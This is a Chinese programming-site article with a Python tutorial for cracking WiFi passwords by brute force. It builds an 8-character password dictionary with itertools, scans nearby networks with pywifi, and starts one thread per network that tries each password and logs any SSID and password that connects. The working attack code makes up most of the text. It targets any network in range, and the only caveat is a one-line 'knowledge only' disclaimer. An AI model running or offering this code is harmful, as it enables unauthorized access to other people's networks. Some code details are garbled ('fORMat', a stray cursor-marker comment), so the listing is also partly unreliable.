广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Python利用多线程枚举实现获取wifi信息
  • 899
分享到

Python利用多线程枚举实现获取wifi信息

Python获取wifi信息Python wifi信息Python wifi 2022-12-14 12:12:03 899人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。 通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用

由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。

通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用。

开始之前需要先将需要的python非标准模块安装一下,若已安装请忽略。

pip install pywifi -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install comtypes -i Https://pypi.tuna.tsinghua.edu.cn/simple

然后使用Python内置的模块itertools生成后面需要的密码字典。

# Itertools is a module that provides a number of functions that work with iterators to produce complex iterators.
import itertools as its

# Importing the threading module.
import threading

# It's a logging library.
from loguru import logger

初始化字典项包含的正常字符以及特殊字符。

text = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"

提取随机组合长度为8位的字符串,因为一般密码长度为8位,可根据实际情况设置提取位数。

result_ = its.product(text, repeat=8)

dic = open("pwd.txt","a")

for i in result_:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

这个时候字典已经生成好了,我们需要使用wifi网卡对信号范围内的wifi进行扫描。

# *|CURSOR_MARCADOR|*
from pywifi import const, PyWiFi, Profile

# It's just an alias for the time module.
from time import sleep
wifi = PyWiFi()
interface = wifi.interfaces()[0]

interface.scan()
sleep(3)
wifis = interface.scan_results()

print(wifis)

经过网卡的scan函数扫描,如今信号范围内的wifi名称信息也都获取完成了。

为了方便后面使用多线程进行枚举字典的遍历,这里我们编写一个函数connect_wifi函数用来连接wifi。

def connect_wifi(wifi_name=None, wifi_pass_path=None, interface=None):
    with open(wifi_pass_path, 'r') as file_pwd:
        for pd in file_pwd:
            pd = pd.strip('\n')
            if interface.status() == const.IFACE_CONNECTED:
                interface.disconnect()
                sleep(2)

            profile = Profile()  # 配置文件
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN  # 需要密码
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = pd

            interface.remove_all_network_profiles()  # 删除其它配置文件
            tmp_profile = interface.add_network_profile(profile)  # 加载配置文件
            interface.connect(tmp_profile)

            sleep(3)

            if interface.status() == const.IFACE_CONNECTED:
                logger.info('连接成功,当前wifi名称:{0}\n当前wifi密码:{1}'.fORMat(wifi_name, pd))
                break
            else:
                logger.error('连接失败,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))

上面单个wifi连接的函数完成之后,为了提升效率我们使用一个线程获取一个wifi的连接方式获取wifi名称和密码。

for w in wifis:
    t = threading.Thread(target=connect_wifi, args=(w.ssid, 'pwd.txt', interface))
    t.start()

到此这篇关于Python利用多线程枚举实现获取wifi信息的文章就介绍到这了,更多相关Python获取wifi信息内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: Python利用多线程枚举实现获取wifi信息

本文链接: https://www.lsjlt.com/news/174855.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作